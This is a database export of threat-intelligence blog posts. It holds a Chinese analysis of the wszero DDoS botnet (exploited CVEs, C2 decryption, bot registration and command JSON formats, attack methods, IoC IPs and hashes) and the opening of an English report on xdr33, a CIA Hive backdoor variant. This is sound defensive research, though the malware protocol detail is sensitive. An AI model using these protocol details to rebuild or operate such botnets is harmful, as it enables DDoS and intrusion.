<td>kill,attack,update,ping,stop,command,enable_scan,disable_scan</td>
</tr>
<tr>
<td>v4</td>
<td>176.65.137.5:80</td>
<td>SUB1</td>
<td>21</td>
<td>YES</td>
<td>WS</td>
<td>Linux/Windows</td>
<td>YES</td>
<td>kill,attack,update,ping,stop,command,enable_scan,disable_scan</td>
</tr>
</tbody>
</table>
<p>因为使用Go编写并且未作混淆,从wszero样本中能容易的恢复出函数符号和功能逻辑等,因此我们不做详细的样本分析,下面着重介绍下wszero的C2存储和通信。</p>
<h3 id="c2">C2存储和解密</h3>
<p>V1和V3都使用了加密的方式存储C2,其中V1的C2保存在样本的rodata段中,而V3则存放在局部变量中,如下图所示。<br>
<a href="__GHOST_URL__/content/images/2022/11/wszero_c2.png"><img src="__GHOST_URL__/content/images/2022/11/wszero_c2.png" class="kg-image"/></a></p>
<p>它们的解密方法相同,都为<strong>SUB 1</strong>算法,即逐字节减一。上图中将V3的局部变量拼接后,再进行解密就得到了C2以及URI。<br>
<a href="__GHOST_URL__/content/images/2022/11/wszero_v3c2.png"><img src="__GHOST_URL__/content/images/2022/11/wszero_v3c2.png" class="kg-image"/></a></p>
<h3 id="c2">C2协议</h3>
<p>Wszero的C2消息使用了一个自定义的JSON串,不同版本间有几个JSON字段的微小差别。最初版本的底层传输协议使用TCP,后续版本换成了WEBSOCKET,以及TLS保护的WEBSOCKET,下面分别介绍。</p>
<h4 id="">上线包格式</h4>
<p>当C2连接建立后,C2会主动向BOT发送Banner信息提示输入用户名,BOT首先向C2发送硬编码的用户名,接着再发送JSON格式的BotInfo,形如 <code>{"platform": "%s", "gcc": "%s", "cpu": %d, "payload": "%s"} </code>,其中payload指的是分组信息。</p>
<p><a href="__GHOST_URL__/content/images/2022/11/wszero_v1pkg.png"><img src="__GHOST_URL__/content/images/2022/11/wszero_v1pkg.png" class="kg-image"/></a></p>
<h4 id="">底层传输协议的变化</h4>
<p>V1版本采用了TCP,V2和V4基于WEBSOCKET,V3同样基于WEBSOCKET,但强制使用TLS对WEBSOCKET进行保护。</p>
<p>以V2为例,BOT和C2首先进行建立ws连接,</p>
<p><a href="__GHOST_URL__/content/images/2022/11/wszero_v2pkg.png"><img src="__GHOST_URL__/content/images/2022/11/wszero_v2pkg.png" class="kg-image"/></a></p>
<p>接着再发送BotInfo,内容格式依然为JSON串。</p>
<p><a href="__GHOST_URL__/content/images/2022/11/wszero_v2payload.png"><img src="__GHOST_URL__/content/images/2022/11/wszero_v2payload.png" class="kg-image"/></a></p>
<h4 id="">指令</h4>
<p>当Bot注册成功后,就开始等待并执行C2下发的指令。指令消息同样是JSON格式,有<strong>Type, Data,Command</strong> 3 个key,其中<strong>Type</strong>用于指定DDoS或Command任务类别,<strong>Data</strong>/<strong>Command</strong>则分别用于存储DDoS选项,系统命令及参数。相关解析代码如下。</p>
<p><a href="__GHOST_URL__/content/images/2022/11/wszero_cmdfmt.png"><img src="__GHOST_URL__/content/images/2022/11/wszero_cmdfmt.png" class="kg-image"/></a></p>
<p>下面是我们实际接收到的HTTP_BYPASS攻击指令,当Bot接收到这个指令后就会使用该方法对目标进行攻击。</p>
<p><a href="__GHOST_URL__/content/images/2022/11/wszero_ddos.png"><img src="__GHOST_URL__/content/images/2022/11/wszero_ddos.png" class="kg-image"/></a></p>
<p>除了HTTP_BYPASS, wszero还支持TCP/UDP/ICMP等多种协议的攻击方法,完整列表详见下图。</p>
<p><a href="__GHOST_URL__/content/images/2022/11/wszero_atkvec.png"><img src="__GHOST_URL__/content/images/2022/11/wszero_atkvec.png" class="kg-image"/></a></p>
<h2 id="">指令跟踪情况</h2>
<p>分析出这个新家族后,我们迅速做了跟踪处理,在2022年11月23日首次接收到DDoS攻击指令,具体DDoS攻击趋势如下图所示:</p>
<p><a href="__GHOST_URL__/content/images/2022/12/Snip20221202_33.png"><img src="__GHOST_URL__/content/images/2022/12/Snip20221202_33.min.png" class="kg-image"/></a></p>
<p>能看出来其攻击指令的下发并不是很频繁,这可能跟这个家族还处于早期发展阶段有关。目前其C2仍在活跃,并且频繁下发更新指令。</p>
<h2 id="">结尾</h2>
<p>今年我们已经观察到多起使用Go开发的全新botnet家族,wszero只是其中之一。其作者在10多天的时间内做了4次大的升级,说明该家族还在发展之中,未来可能会继续推出新的版本。对此我们会持续关注,有新的发现将会及时公开。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者,可以在 <a href="https://twitter.com/360Netlab">twitter</a> 或者通过邮件netlab[at]360.cn联系我们。</p>
<h2 id="">解决方案</h2>
<p>基于Netlab多年研究工作孵化的360全系列<a href="https://sdns.360.net/">DNS安全产品</a>均已支持文中远控服务器的拦截和检测,同时内置多种算法可有效发现和拦截各种未知威胁,建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品,及时防范此类新型威胁,避免企业资产失陷。联系人: <a href="mailto:wangkun-bd@360.cn">wangkun-bd@360.cn</a></p>
<h2 id="ioc">IoC</h2>
<h3 id="c2">C2</h3>
<pre><code>176.65.137.5
zero.sudolite.ml
</code></pre>
<h3 id="loaderip">Loader IP</h3>
<pre><code>176.65.137.6
176.65.137.5
</code></pre>
<h3 id="sample">Sample</h3>
<pre><code>aabca688b31eb962a7a2849c57000bea
86827dc70c5001633b801b7b7fa8a9b9
0642bc041c2e4a74fbf58537a2305543
13e1966f13274c71d39e4aea7f62127e
271aebe152b793765a75e5e89d24cdbd
27f66ef808e5497528c653ba862822b7
2eca5324301a55dfa5b5d2c2b67ab9d0
342a5c7e1eb3ead0b6ddeeed4f1a811f
3627e6848eb9f6a28c7c83b347753f26
367b9095e93d27fc1a684a90a77e82f9
40b3bb4e7d00377cbd9d100b39d26ac0
45bc7cd7c7acdf679d1f3ceceb7d6602
4a5e9ffd3ce77d5269033b8032426e45
513a8036ca358b0acfce30903f95f12b
52d21fbad081d699ec6e041fcdd6133c
59d635cca6de9c417995ab5fa5501829
5eea56fc1f7a373973dc9ff0cc8fe86f
62c11ea75e82611b6ba7d7bf08ed009f
62eeda48db5d0f5c6ee31112fe0c18ee
6b6cac5bd765178545b0fa3caa0fd99b
72ad17b874a956fdb4c969a03924aea2
777a4bdda609735b1dd784b98fe27693
79a7fc0ae8222f29e9c6e133f7a33b4b
823c7b89db6a35345f205bb64769d5ef
83d647c9749e9a5a5f9c6ae01747a713
857dfb390d02f5ca93a37ffa2f0cbde2
871624995190fe3310f553f0fbc61b0e
88b98664c3c901242c73e1d8f18a47eb
8d85e3e0328cdd51c83fb68e31a28e62
8e2efc8f7edd7dfff4bad7126d30e254
8f55245e24c4e84df7e8dddd19523d93
9039df359128850de1b3ee1240b150d6
9606e8903df98f59a827be8876ace389
9d396b48773ccbc5fdb3ffc2fb7c20f6
9daae12c05a9a21c405c9319fc49c358
ae504e3f08e2fef8e95100811fe8e2be
b36b340ba9947dae7b5bab3e1330d53a
b7c841eb41d6233ff67006177a507c66
bbfefb41c71896f7433b58376218553d
bef01d6529c5250de0662547d75959b2
c5e6aae51d97acb44339ae4d5f296b4f
c8cfc2ddb08f812f6440b8918a916c75
d418109e5d81d48da12fe271cd08c61a
da86780f3a94c1aa6ea76fdfcb5db412
de28becdcbc5400261a809420c5953e3
ec0d832b564606660645e15f3b28fceb
f635dfefc35ad532d2ad9a08cb4864bd
f7cde1a55211f815bc3a6aecd04f731b
fcbb9872ea0fe1af63254b65c4475ee8
fe8e1f4680355b1093536165e445fa8e
</code></pre>
<!--kg-card-end: markdown--> | 概述
近期,我们的BotMon系统连续捕获到一个由Go编写的DDoS类型的僵尸网络家族,它用于DDoS攻击,使用了包括SSH/Telnet弱口令在内的多达22种传播方式。短时间内出现了4个不同的版本,有鉴于此,我们觉得该家族未来很可能继续活跃,值得警惕。下面从传播、样本和跟踪角度分别介绍。
传播分析
除了Telnet/SSH弱口令,我们观察到wszero还使用了如下21个漏洞进行传播:
VULNERABILITY
AFFECTED
CVE_2014_08361
Realtek SDK
CVE_2017_17106
Zivif Webcams
CVE_2017_17215
Huawei HG532
CVE_2018_12613
phpMyAdmin 4.8.x before 4.8.2
CVE_2020_10987
Tenda AC15 AC1900
CVE_2020_25506
D-Link DNS-320 FW v2.06B01 Revision Ax
CVE_2021_35395
Realtek Jungle SDK
CVE_2021_36260
Hikvision DVR
CVE_2021_46422
Telesquare SDT CW3B1
CVE_2022_01388
F5 BIG-IP
CVE_2022_22965
Spring
CVE_2022_25075
TOTOLINK A3000RU
CVE_2022_26186
TOTOLINK N600R
CVE_2022_26210
TOTOLINK A830R
CVE_2022_30525
Zyxel Firewall
CVE_2022_34538
Digital Watchdog DW MEGApix IP cameras
CVE_2022_37061
FLIR AX8 thermal sensor cameras
DLINK
D-Link DSL-2750B
CVE-2018-10561
Dasan GPON home router
SAPIDO RB-1732 command line execution
SAPIDO RB-1732
PHP Backdoor
PHP 8.1.0 dev Backdoor
样本分析
简单来说,wszero是一个Go语言编写的DDoS类型的僵尸网络家族,它被命名为wszero的原因是它的下载链接中的文件名多为zero.*这种形式,并且最新版本C2协议基于websocket,所以将其缩写为wszero。基于样本的C2协议、主机行为和C2加密等方面特征,我们把已经捕获的wszero分为4个大的版本,其捕获的时间线如下:
* 2022年11月18日,首次捕获到wszero v1
* 2022年11月21日,捕获到V2样本
* 2022年11月24日,捕获到V3样本
* 2022年11月26日,捕获到V3.x样本
* 2022年11月29日,捕获到V4样本
下面是这4个版本一些具体特性的对比:
Version
C2
Decryption
Exploit
Tel/SSH Crack
Protocol
Platform
Persistence
Instruction
v1
176.65.137.5:1401
SUB1
0
No
TCP
Linux
YES
print,attack,command
v2
176.65.137.5:80
NO
0
No
WS
Linux
YES
print,attack,command
v3
zero.sudolite.ml
SUB 1
0
No
WSS
Linux
YES
print,attack,command
v3.x
zero.sudolite.ml
SUB1
21
YES
WSS
Linux/Windows
YES
kill,attack,update,ping,stop,command,enable_scan,disable_scan
v4
176.65.137.5:80
SUB1
21
YES
WS
Linux/Windows
YES
kill,attack,update,ping,stop,command,enable_scan,disable_scan
因为使用Go编写并且未作混淆,从wszero样本中能容易的恢复出函数符号和功能逻辑等,因此我们不做详细的样本分析,下面着重介绍下wszero的C2存储和通信。
C2存储和解密
V1和V3都使用了加密的方式存储C2,其中V1的C2保存在样本的rodata段中,而V3则存放在局部变量中,如下图所示。
它们的解密方法相同,都为SUB 1算法,即逐字节减一。上图中将V3的局部变量拼接后,再进行解密就得到了C2以及URI。
C2协议
Wszero的C2消息使用了一个自定义的JSON串,不同版本间有几个JSON字段的微小差别。最初版本的底层传输协议使用TCP,后续版本换成了WEBSOCKET,以及TLS保护的WEBSOCKET,下面分别介绍。
上线包格式
当C2连接建立后,C2会主动向BOT发送Banner信息提示输入用户名,BOT首先向C2发送硬编码的用户名,接着再发送JSON格式的BotInfo,形如 {"platform": "%s", "gcc": "%s", "cpu": %d, "payload": "%s"} ,其中payload指的是分组信息。
底层传输协议的变化
V1版本采用了TCP,V2和V4基于WEBSOCKET,V3同样基于WEBSOCKET,但强制使用TLS对WEBSOCKET进行保护。
以V2为例,BOT和C2首先进行建立ws连接,
接着再发送BotInfo,内容格式依然为JSON串。
指令
当Bot注册成功后,就开始等待并执行C2下发的指令。指令消息同样是JSON格式,有Type, Data,Command 3 个key,其中Type用于指定DDoS或Command任务类别,Data/Command则分别用于存储DDoS选项,系统命令及参数。相关解析代码如下。
下面是我们实际接收到的HTTP_BYPASS攻击指令,当Bot接收到这个指令后就会使用该方法对目标进行攻击。
除了HTTP_BYPASS, wszero还支持TCP/UDP/ICMP等多种协议的攻击方法,完整列表详见下图。
指令跟踪情况
分析出这个新家族后,我们迅速做了跟踪处理,在2022年11月23日首次接收到DDoS攻击指令,具体DDoS攻击趋势如下图所示:
能看出来其攻击指令的下发并不是很频繁,这可能跟这个家族还处于早期发展阶段有关。目前其C2仍在活跃,并且频繁下发更新指令。
结尾
今年我们已经观察到多起使用Go开发的全新botnet家族,wszero只是其中之一。其作者在10多天的时间内做了4次大的升级,说明该家族还在发展之中,未来可能会继续推出新的版本。对此我们会持续关注,有新的发现将会及时公开。
联系我们
感兴趣的读者,可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
解决方案
基于Netlab多年研究工作孵化的360全系列DNS安全产品均已支持文中远控服务器的拦截和检测,同时内置多种算法可有效发现和拦截各种未知威胁,建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品,及时防范此类新型威胁,避免企业资产失陷。联系人: wangkun-bd@360.cn
IoC
C2
176.65.137.5
zero.sudolite.ml
Loader IP
176.65.137.6
176.65.137.5
Sample
aabca688b31eb962a7a2849c57000bea
86827dc70c5001633b801b7b7fa8a9b9
0642bc041c2e4a74fbf58537a2305543
13e1966f13274c71d39e4aea7f62127e
271aebe152b793765a75e5e89d24cdbd
27f66ef808e5497528c653ba862822b7
2eca5324301a55dfa5b5d2c2b67ab9d0
342a5c7e1eb3ead0b6ddeeed4f1a811f
3627e6848eb9f6a28c7c83b347753f26
367b9095e93d27fc1a684a90a77e82f9
40b3bb4e7d00377cbd9d100b39d26ac0
45bc7cd7c7acdf679d1f3ceceb7d6602
4a5e9ffd3ce77d5269033b8032426e45
513a8036ca358b0acfce30903f95f12b
52d21fbad081d699ec6e041fcdd6133c
59d635cca6de9c417995ab5fa5501829
5eea56fc1f7a373973dc9ff0cc8fe86f
62c11ea75e82611b6ba7d7bf08ed009f
62eeda48db5d0f5c6ee31112fe0c18ee
6b6cac5bd765178545b0fa3caa0fd99b
72ad17b874a956fdb4c969a03924aea2
777a4bdda609735b1dd784b98fe27693
79a7fc0ae8222f29e9c6e133f7a33b4b
823c7b89db6a35345f205bb64769d5ef
83d647c9749e9a5a5f9c6ae01747a713
857dfb390d02f5ca93a37ffa2f0cbde2
871624995190fe3310f553f0fbc61b0e
88b98664c3c901242c73e1d8f18a47eb
8d85e3e0328cdd51c83fb68e31a28e62
8e2efc8f7edd7dfff4bad7126d30e254
8f55245e24c4e84df7e8dddd19523d93
9039df359128850de1b3ee1240b150d6
9606e8903df98f59a827be8876ace389
9d396b48773ccbc5fdb3ffc2fb7c20f6
9daae12c05a9a21c405c9319fc49c358
ae504e3f08e2fef8e95100811fe8e2be
b36b340ba9947dae7b5bab3e1330d53a
b7c841eb41d6233ff67006177a507c66
bbfefb41c71896f7433b58376218553d
bef01d6529c5250de0662547d75959b2
c5e6aae51d97acb44339ae4d5f296b4f
c8cfc2ddb08f812f6440b8918a916c75
d418109e5d81d48da12fe271cd08c61a
da86780f3a94c1aa6ea76fdfcb5db412
de28becdcbc5400261a809420c5953e3
ec0d832b564606660645e15f3b28fceb
f635dfefc35ad532d2ad9a08cb4864bd
f7cde1a55211f815bc3a6aecd04f731b
fcbb9872ea0fe1af63254b65c4475ee8
fe8e1f4680355b1093536165e445fa8e
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 概述\n近期,我们的BotMon系统连续捕获到一个由Go编写的DDoS类型的僵尸网络家族,它用于DDoS攻击,使用了包括SSH/Telnet弱口令在内的多达22种传播方式。短时间内出现了4个不同的版本,有鉴于此,我们觉得该家族未来很可能继续活跃,值得警惕。下面从传播、样本和跟踪角度分别介绍。\n\n\n## 传播分析\n除了Telnet/SSH弱口令,我们观察到wszero还使用了如下`21`个漏洞进行传播:\n\n| VULNERABILITY | AFFECTED |\n| ------------- | ---------------- |\n| [CVE_2014_08361](https://nvd.nist.gov/vuln/detail/CVE-2014-8361) | Realtek SDK |\n| [CVE_2017_17106](https://nvd.nist.gov/vuln/detail/CVE-2017-17106) | Zivif Webcams |\n| [CVE_2017_17215](https://nvd.nist.gov/vuln/detail/cve-2017-17215) | Huawei HG532 |\n| [CVE_2018_12613](https://nvd.nist.gov/vuln/detail/CVE-2018-12613) | phpMyAdmin 4.8.x before 4.8.2 |\n| [CVE_2020_10987](https://nvd.nist.gov/vuln/detail/CVE-2020-10987) | Tenda AC15 AC1900 |\n| [CVE_2020_25506](https://nvd.nist.gov/vuln/detail/CVE-2020-25506) | D-Link DNS-320 FW v2.06B01 Revision Ax |\n| [CVE_2021_35395](https://nvd.nist.gov/vuln/detail/CVE-2021-35395) | Realtek Jungle SDK |\n| [CVE_2021_36260](https://packetstormsecurity.com/files/164603/hikvision210702-exec.txt) | Hikvision DVR |\n| [CVE_2021_46422](https://packetstormsecurity.com/files/167201/SDT-CW3B1-1.1.0-Command-Injection.html) | Telesquare SDT CW3B1 |\n| [CVE_2022_01388](https://www.itechpost.com/articles/110537/20220509/f5-big-ip-trouble-cve-2022-1388-vulnerability-%E2%80%94-patch.htm) | F5 BIG-IP |\n| [CVE_2022_22965](https://nvd.nist.gov/vuln/detail/cve-2022-22965) | Spring |\n| [CVE_2022_25075](https://nvd.nist.gov/vuln/detail/cve-2022-25075) | TOTOLINK A3000RU |\n| [CVE_2022_26186](https://doudoudedi.github.io/2022/02/21/TOTOLINK-N600R-Command-Injection/) | TOTOLINK N600R |\n| [CVE_2022_26210](https://nvd.nist.gov/vuln/detail/CVE-2022-26210) | TOTOLINK A830R |\n| [CVE_2022_30525](https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/) | Zyxel Firewall |\n| [CVE_2022_34538](https://nvd.nist.gov/vuln/detail/CVE-2022-34538) | Digital Watchdog DW MEGApix IP cameras |\n| [CVE_2022_37061](https://packetstormsecurity.com/files/cve/CVE-2022-37061) | FLIR AX8 thermal sensor cameras |\n| [DLINK](https://www.exploit-db.com/exploits/44760) | D-Link DSL-2750B |\n| [CVE-2018-10561](https://nvd.nist.gov/vuln/detail/cve-2018-10561) | Dasan GPON home router |\n| [SAPIDO RB-1732 command line execution](https://www.exploit-db.com/exploits/47031) | SAPIDO RB-1732 |\n| [PHP Backdoor](https://packetstormsecurity.com/files/162749/PHP-8.1.0-dev-Backdoor-Remote-Command-Injection.html) | PHP 8.1.0 dev Backdoor |\n\n## 样本分析\n简单来说,wszero是一个Go语言编写的DDoS类型的僵尸网络家族,它被命名为wszero的原因是它的下载链接中的文件名多为`zero.*`这种形式,并且最新版本C2协议基于`websocket`,所以将其缩写为`wszero`。基于样本的C2协议、主机行为和C2加密等方面特征,我们把已经捕获的wszero分为4个大的版本,其捕获的时间线如下:\n\n- 2022年11月18日,首次捕获到wszero v1\n- 2022年11月21日,捕获到V2样本\n- 2022年11月24日,捕获到V3样本\n- 2022年11月26日,捕获到V3.x样本\n- 2022年11月29日,捕获到V4样本\n\n下面是这4个版本一些具体特性的对比:\n\n| Version | C2 | Decryption | Exploit | Tel/SSH Crack | Protocol | Platform | Persistence | Instruction |\n| ------- | ----------------- | ---------- | ------- | ------------- | -------- | ------------- | ----------- | ------------------------------------ |\n| v1 | 176.65.137.5:1401 | SUB1 | 0 | No | TCP | Linux | YES | print,attack,command |\n| v2 | 176.65.137.5:80 | NO | 0 | No | WS | Linux | YES | print,attack,command |\n| v3 | zero.sudolite.ml | SUB 1 | 0 | No | WSS | Linux | YES | print,attack,command |\n| v3.x | zero.sudolite.ml | SUB1 | 21 | YES | WSS | Linux/Windows | YES | kill,attack,update,ping,stop,command,enable_scan,disable_scan |\n| v4 | 176.65.137.5:80 | SUB1 | 21 | YES | WS | Linux/Windows | YES | kill,attack,update,ping,stop,command,enable_scan,disable_scan |\n\n\n因为使用Go编写并且未作混淆,从wszero样本中能容易的恢复出函数符号和功能逻辑等,因此我们不做详细的样本分析,下面着重介绍下wszero的C2存储和通信。\n\n### C2存储和解密\n\nV1和V3都使用了加密的方式存储C2,其中V1的C2保存在样本的rodata段中,而V3则存放在局部变量中,如下图所示。\n<a href=\"__GHOST_URL__/content/images/2022/11/wszero_c2.png\"><img src=\"__GHOST_URL__/content/images/2022/11/wszero_c2.png\" class=\"kg-image\"/></a>\n\n它们的解密方法相同,都为**SUB 1**算法,即逐字节减一。上图中将V3的局部变量拼接后,再进行解密就得到了C2以及URI。\n<a href=\"__GHOST_URL__/content/images/2022/11/wszero_v3c2.png\"><img src=\"__GHOST_URL__/content/images/2022/11/wszero_v3c2.png\" class=\"kg-image\"/></a>\n\n\n### C2协议\n\nWszero的C2消息使用了一个自定义的JSON串,不同版本间有几个JSON字段的微小差别。最初版本的底层传输协议使用TCP,后续版本换成了WEBSOCKET,以及TLS保护的WEBSOCKET,下面分别介绍。\n\n#### 上线包格式\n\n当C2连接建立后,C2会主动向BOT发送Banner信息提示输入用户名,BOT首先向C2发送硬编码的用户名,接着再发送JSON格式的BotInfo,形如 ``{\"platform\": \"%s\", \"gcc\": \"%s\", \"cpu\": %d, \"payload\": \"%s\"} ``,其中payload指的是分组信息。\n\n<a href=\"__GHOST_URL__/content/images/2022/11/wszero_v1pkg.png\"><img src=\"__GHOST_URL__/content/images/2022/11/wszero_v1pkg.png\" class=\"kg-image\"/></a>\n\n#### 底层传输协议的变化\nV1版本采用了TCP,V2和V4基于WEBSOCKET,V3同样基于WEBSOCKET,但强制使用TLS对WEBSOCKET进行保护。\n\n以V2为例,BOT和C2首先进行建立ws连接,\n\n<a href=\"__GHOST_URL__/content/images/2022/11/wszero_v2pkg.png\"><img src=\"__GHOST_URL__/content/images/2022/11/wszero_v2pkg.png\" class=\"kg-image\"/></a>\n\n接着再发送BotInfo,内容格式依然为JSON串。\n \n<a href=\"__GHOST_URL__/content/images/2022/11/wszero_v2payload.png\"><img src=\"__GHOST_URL__/content/images/2022/11/wszero_v2payload.png\" class=\"kg-image\"/></a>\n\n#### 指令\n\n当Bot注册成功后,就开始等待并执行C2下发的指令。指令消息同样是JSON格式,有**Type, Data,Command** 3 个key,其中**Type**用于指定DDoS或Command任务类别,**Data**/**Command**则分别用于存储DDoS选项,系统命令及参数。相关解析代码如下。\n\n<a href=\"__GHOST_URL__/content/images/2022/11/wszero_cmdfmt.png\"><img src=\"__GHOST_URL__/content/images/2022/11/wszero_cmdfmt.png\" class=\"kg-image\"/></a>\n\n下面是我们实际接收到的HTTP_BYPASS攻击指令,当Bot接收到这个指令后就会使用该方法对目标进行攻击。\n\n<a href=\"__GHOST_URL__/content/images/2022/11/wszero_ddos.png\"><img src=\"__GHOST_URL__/content/images/2022/11/wszero_ddos.png\" class=\"kg-image\"/></a>\n\n除了HTTP_BYPASS, wszero还支持TCP/UDP/ICMP等多种协议的攻击方法,完整列表详见下图。\n\n<a href=\"__GHOST_URL__/content/images/2022/11/wszero_atkvec.png\"><img src=\"__GHOST_URL__/content/images/2022/11/wszero_atkvec.png\" class=\"kg-image\"/></a>\n\n\n\n## 指令跟踪情况\n分析出这个新家族后,我们迅速做了跟踪处理,在2022年11月23日首次接收到DDoS攻击指令,具体DDoS攻击趋势如下图所示:\n\n<a href=\"__GHOST_URL__/content/images/2022/12/Snip20221202_33.png\"><img src=\"__GHOST_URL__/content/images/2022/12/Snip20221202_33.min.png\" class=\"kg-image\"/></a>\n\n能看出来其攻击指令的下发并不是很频繁,这可能跟这个家族还处于早期发展阶段有关。目前其C2仍在活跃,并且频繁下发更新指令。\n\n## 结尾\n今年我们已经观察到多起使用Go开发的全新botnet家族,wszero只是其中之一。其作者在10多天的时间内做了4次大的升级,说明该家族还在发展之中,未来可能会继续推出新的版本。对此我们会持续关注,有新的发现将会及时公开。\n\n## 联系我们\n感兴趣的读者,可以在 [twitter](https://twitter.com/360Netlab) 或者通过邮件netlab[at]360.cn联系我们。\n\n## 解决方案\n基于Netlab多年研究工作孵化的360全系列[DNS安全产品](https://sdns.360.net/)均已支持文中远控服务器的拦截和检测,同时内置多种算法可有效发现和拦截各种未知威胁,建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品,及时防范此类新型威胁,避免企业资产失陷。联系人: wangkun-bd@360.cn\n\n## IoC\n\n### C2\n\n```\n176.65.137.5\nzero.sudolite.ml\n```\n\n### Loader IP\n\n```\n176.65.137.6\n176.65.137.5\n```\n\n### Sample\n\n```\naabca688b31eb962a7a2849c57000bea\n86827dc70c5001633b801b7b7fa8a9b9\n0642bc041c2e4a74fbf58537a2305543\n13e1966f13274c71d39e4aea7f62127e\n271aebe152b793765a75e5e89d24cdbd\n27f66ef808e5497528c653ba862822b7\n2eca5324301a55dfa5b5d2c2b67ab9d0\n342a5c7e1eb3ead0b6ddeeed4f1a811f\n3627e6848eb9f6a28c7c83b347753f26\n367b9095e93d27fc1a684a90a77e82f9\n40b3bb4e7d00377cbd9d100b39d26ac0\n45bc7cd7c7acdf679d1f3ceceb7d6602\n4a5e9ffd3ce77d5269033b8032426e45\n513a8036ca358b0acfce30903f95f12b\n52d21fbad081d699ec6e041fcdd6133c\n59d635cca6de9c417995ab5fa5501829\n5eea56fc1f7a373973dc9ff0cc8fe86f\n62c11ea75e82611b6ba7d7bf08ed009f\n62eeda48db5d0f5c6ee31112fe0c18ee\n6b6cac5bd765178545b0fa3caa0fd99b\n72ad17b874a956fdb4c969a03924aea2\n777a4bdda609735b1dd784b98fe27693\n79a7fc0ae8222f29e9c6e133f7a33b4b\n823c7b89db6a35345f205bb64769d5ef\n83d647c9749e9a5a5f9c6ae01747a713\n857dfb390d02f5ca93a37ffa2f0cbde2\n871624995190fe3310f553f0fbc61b0e\n88b98664c3c901242c73e1d8f18a47eb\n8d85e3e0328cdd51c83fb68e31a28e62\n8e2efc8f7edd7dfff4bad7126d30e254\n8f55245e24c4e84df7e8dddd19523d93\n9039df359128850de1b3ee1240b150d6\n9606e8903df98f59a827be8876ace389\n9d396b48773ccbc5fdb3ffc2fb7c20f6\n9daae12c05a9a21c405c9319fc49c358\nae504e3f08e2fef8e95100811fe8e2be\nb36b340ba9947dae7b5bab3e1330d53a\nb7c841eb41d6233ff67006177a507c66\nbbfefb41c71896f7433b58376218553d\nbef01d6529c5250de0662547d75959b2\nc5e6aae51d97acb44339ae4d5f296b4f\nc8cfc2ddb08f812f6440b8918a916c75\nd418109e5d81d48da12fe271cd08c61a\nda86780f3a94c1aa6ea76fdfcb5db412\nde28becdcbc5400261a809420c5953e3\nec0d832b564606660645e15f3b28fceb\nf635dfefc35ad532d2ad9a08cb4864bd\nf7cde1a55211f815bc3a6aecd04f731b\nfcbb9872ea0fe1af63254b65c4475ee8\nfe8e1f4680355b1093536165e445fa8e\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 637f35529754d400079ea5d0 |
post | null | 2023-01-10T03:31:43.000Z | 63bcdc1f76a7a20007c96698 | headsup_xdr33_variant_of_ciahive_emeerges | 0 | 2023-01-10T14:00:37.000Z | public | published | null | 2023-01-10T14:00:37.000Z | Heads up! Xdr33, A Variant Of CIA’s HIVE Attack Kit Emerges | <!--kg-card-begin: markdown--><h1 id="overview">Overview</h1>
<p>On Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file <code>ee07a74d12c0bb3594965b51d0e45b6f</code>, which propagated via F5 vulnerability with zero VT detection, our system observces that it communicates with IP <code>45.9.150.144</code> using SSL with <strong>forged Kaspersky certificates</strong>, this caught our attention. After further lookup, we confirmed that this sample was adapted from the leaked Hive project server source code from CIA. <strong>This is the first time we caught a variant of the CIA HIVE attack kit in the wild</strong>, and we named it <code>xdr33</code> based on its embedded Bot-side certificate <code>CN=xdr33</code>.</p>
<p>To summarize, xdr33 is a backdoor born from the CIA Hive project, its main purpose is to collect sensitive information and provide a foothold for subsequent intrusions. In terms of network communication, xdr33 uses XTEA or AES algorithm to encrypt the original traffic, and uses SSL with Client-Certificate Authentication mode enabled to further protect the traffic; in terms of function, there are two main tasks: beacon and trigger, of which beacon is periodically report sensitive information about the device to the hard-coded Beacon C2 and execute the commands issued by it, while the trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2, and when such messages are received, it establishes communication with the Trigger C2 and waits for the execution of the commands issued by it.</p>
<p>The functional schematic is shown below.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_function.png"><img src="__GHOST_URL__/content/images/2022/12/hive_function.png" class="kg-image"/></a></p>
<p>Hive uses the <code>BEACON_HEADER_VERSION </code>macro to define the specified version, which has a value of <code>29</code> on the Master branch of the source code and a value of <code>34</code> in <code>xdr33</code>, so perhaps xdr33 has had several rounds of iterative updates already. Comparing with the HIV source code, xdr33 has been updated in the following 5 areas:</p>
<ul>
<li>New CC instructions have been added</li>
<li>Wrapping or expanding functions</li>
<li>Structs have been reordered and extended</li>
<li>Trigger message format</li>
<li>Addition of CC operations to the Beacon task</li>
</ul>
<p>These modifications to xdr33 are not very sophisticated in terms of implementation, and coupled with the fact that the vulnerability used in this spread is N-day, we tend to rule out the possibility that the CIA continued to improve on the leaked source code and consider it to be the result of a cyber attack group borrowing the leaked source code.</p>
<h1 id="vulnerability-delivery-payload">Vulnerability Delivery Payload</h1>
<p>The md5 of the Payload we captured is <code>ad40060753bc3a1d6f380a5054c1403a</code>, and its contents are shown below.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_logd.png"><img src="__GHOST_URL__/content/images/2022/12/hive_logd.png" class="kg-image"/></a></p>
<p>The code is simple and straightforward, and its main purpose is to</p>
<ul>
<li>
<p>Download the next stage of the sample and disguise it as <code>/command/bin/hlogd</code>.</p>
</li>
<li>
<p>Install <code>logd</code> service for persistence.</p>
</li>
</ul>
<h1 id="sample-analysis">Sample analysis</h1>
<p>We captured only one sample of xdr33 for the X86 architecture, and its basic information is shown below.</p>
<pre><code>MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None
</code></pre>
<p>Simply put, when xdr33 runs in the compromised device, it first decrypts all the configuration information, then checks if it has root/admin permissions, if not, it prints “Insufficient permissions. try again... “and exit; otherwise initialize various runtime parameters, such as C2, PORT, runtime interval, etc. Finally, the two functions beacon_start and TriggerListen are used to open the two tasks of Beacon and Trigger.</p>
